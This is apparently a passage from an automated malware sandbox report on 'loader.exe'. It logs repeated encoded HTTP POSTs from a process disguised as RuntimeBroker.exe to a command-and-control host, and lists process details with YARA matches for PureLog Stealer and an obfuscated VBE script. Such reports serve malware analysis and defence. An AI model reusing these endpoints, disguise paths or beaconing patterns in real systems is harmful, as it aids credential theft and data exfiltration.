Jan 11, 2025 06:44:42.323111057 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:42.676636934 CET	2544	OUT	Data Raw: 5a 51 5c 52 51 43 54 5f 5b 5f 5a 51 59 51 58 56 57 51 5d 5f 57 58 53 54 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZQ\RQCT_[_ZQYQXVWQ]_WXST\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/0,! \7\>,X<-+?7, (<_443%;&F$.Y/=
Jan 11, 2025 06:44:42.972130060 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:43.106369019 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	57144	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:43.488631964 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:44:43.832822084 CET	2544	OUT	Data Raw: 5a 55 59 57 54 49 54 50 5b 5f 5a 51 59 50 58 55 57 5f 5d 5b 57 5d 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZUYWTITP[_ZQYPXUW_][W]S[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S..3$6>#" %\=[/+=+ 4Z3 ,?9?]" %\;.&F$.Y/
Jan 11, 2025 06:44:44.126199961 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:44.256167889 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	57145	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:44.387500048 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:44.739110947 CET	2544	OUT	Data Raw: 5a 52 5c 50 54 47 54 5c 5b 5f 5a 51 59 54 58 54 57 51 5d 58 57 50 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZR\PTGT\[_ZQYTXTWQ]XWPS_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.88#='#3:=<?>+ /< 1/(;^ V5;>&F$.Y/)
Jan 11, 2025 06:44:45.016611099 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:45.146462917 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	57146	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:45.273010969 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:45.629918098 CET	2544	OUT	Data Raw: 5f 52 59 53 51 44 51 5d 5b 5f 5a 51 59 55 58 50 57 5b 5d 59 57 59 53 5d 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _RYSQDQ][_ZQYUXPW[]YWYS]\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/0#"<]"0**=/(>=(>'7,?W 8R(3Y 08&F$.Y/-
Jan 11, 2025 06:44:45.920058012 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:46.087923050 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	57147	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:46.253304958 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:46.598686934 CET	2544	OUT	Data Raw: 5f 57 59 52 54 43 54 58 5b 5f 5a 51 59 56 58 50 57 51 5d 5a 57 5a 53 5a 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _WYRTCTX[_ZQYVXPWQ]ZWZSZ\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S..0'B!>##V">>+(-Z(- <!!(+:;" ,&F$.Y/!
Jan 11, 2025 06:44:46.901236057 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:47.034267902 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	57148	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:47.169780970 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:47.520479918 CET	2544	OUT	Data Raw: 5f 50 59 57 54 45 51 59 5b 5f 5a 51 59 52 58 5e 57 50 5d 5f 57 5b 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _PYWTEQY[_ZQYRX^WP]_W[SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.8<5>; 0*).3+6)=;Y704Q<^"09/&F$.Y/1
Jan 11, 2025 06:44:47.797544956 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:47.926518917 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	57149	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:47.964642048 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	57150	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:48.061866999 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:48.410943031 CET	2544	OUT	Data Raw: 5f 51 59 53 51 45 54 5a 5b 5f 5a 51 59 54 58 5e 57 5a 5d 5a 57 5c 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _QYSQETZ[_ZQYTX^WZ]ZW\SU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-80'B".+"3:*-(?6?[+[ <?R 1'(77.>&F$.Y/)
Jan 11, 2025 06:44:48.689635992 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:48.818295002 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	57151	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:49.083321095 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:44:49.442249060 CET	2544	OUT	Data Raw: 5a 51 59 52 51 42 54 5f 5b 5f 5a 51 59 54 58 5f 57 5a 5d 58 57 5f 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZQYRQBT_[_ZQYTX_WZ]XW_S\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.^;#C6.$Y"3>>-0_+.?,7#S# P?4V5,.&F$.Y/)
Jan 11, 2025 06:44:49.712140083 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:49.842535973 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	57152	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:49.983584881 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:44:50.333131075 CET	2544	OUT	Data Raw: 5f 54 59 53 54 41 54 51 5b 5f 5a 51 59 5e 58 56 57 5c 5d 5e 57 5a 53 5e 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _TYSTATQ[_ZQY^XVW\]^WZS^\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S._;8![<Y#:).4(=)^+=7[ Z0 W +;Y 35Y/.&F$.Y/
Jan 11, 2025 06:44:50.630279064 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:50.762231112 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	57153	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:50.887586117 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:51.239242077 CET	2544	OUT	Data Raw: 5f 54 59 54 51 47 54 5d 5b 5f 5a 51 59 56 58 53 57 5e 5d 5d 57 5e 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _TYTQGT][_ZQYVXSW^]]W^SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-,#5>##3>>=<X>('Y4(70(*< 0!X8>&F$.Y/!
Jan 11, 2025 06:44:51.512744904 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:51.646188021 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	57154	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:51.837084055 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:52.192189932 CET	2544	OUT	Data Raw: 5a 55 59 54 54 40 54 5d 5b 5f 5a 51 59 51 58 57 57 5d 5d 59 57 50 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZUYTT@T][_ZQYQXWW]]YWPSU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.],">47![=>+>.>).<"?/R#1(S*)']7 >;&F$.Y/=
Jan 11, 2025 06:44:52.468055964 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:52.701010942 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Jan 11, 2025 06:44:52.701045990 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	57155	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:52.840137005 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	57156	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:53.076770067 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1872 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:53.426698923 CET	1872	OUT	Data Raw: 5f 57 59 52 54 41 51 5e 5b 5f 5a 51 59 5f 58 52 57 5d 5d 58 57 5d 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _WYRTAQ^[_ZQY_XRW]]XW]SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.8U#B6$]#>=Y+..++4<7P $?3_# %/&F$.Y/
Jan 11, 2025 06:44:53.714298010 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:53.848280907 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0a 29 1b 36 10 26 2b 2b 0b 25 23 25 0e 3e 04 34 02 2a 03 03 5c 24 38 0f 5d 27 3e 27 0e 27 28 32 04 3f 07 2e 19 26 3c 38 03 2e 34 2b 5d 0c 13 22 5f 37 39 25 01 26 3f 3f 05 2b 28 24 06 21 05 3d 05 29 29 36 0c 3f 11 33 03 3c 39 2f 59 2b 14 26 1e 2f 06 26 05 3a 20 04 1d 20 3e 2b 52 0d 11 24 54 3f 3d 22 0c 3e 07 37 5f 21 28 28 00 30 13 07 0c 32 31 39 0f 27 07 3f 01 31 32 36 09 30 31 2d 54 26 05 2a 1c 32 3c 25 50 22 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %)6&++%#%>4\$8]'>''(2?.&<8.4+]"_79%&??+($!=))6?3<9/Y+&/&: >+R$T?=">7_!((0219'?12601-T&2<%P""#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	57157	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:53.196543932 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:53.552054882 CET	2544	OUT	Data Raw: 5f 57 59 54 54 46 51 5d 5b 5f 5a 51 59 52 58 57 57 5a 5d 5c 57 59 53 54 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _WYTTFQ][_ZQYRXWWZ]\WYST\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/(#> 4%+=$<=*<-#/471$W?:?73&,.&F$.Y/1
Jan 11, 2025 06:44:53.835568905 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:53.964438915 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	57158	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:54.087282896 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:44:54.735246897 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:45:05.548161030 CET	2544	OUT	Data Raw: 5f 53 59 57 51 47 54 58 5b 5f 5a 51 59 5e 58 5e 57 58 5d 5e 57 5f 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _SYWQGTX[_ZQY^X^WX]^W_S\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/#;C"-4><Y(X:(.'#,?R4++( !Y/&F$.Y/
Jan 11, 2025 06:45:05.812400103 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:45:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Target ID:	0
Start time:	00:42:46
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\loader.exe"
Imagebase:	0x630000
File size:	3'314'471 bytes
MD5 hash:	2307CA04C2633D28345FB0580C77C2EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.2162490833.0000000005BE3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.2161189771.0000000007387000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:42:48
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe"
Imagebase:	0x70000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
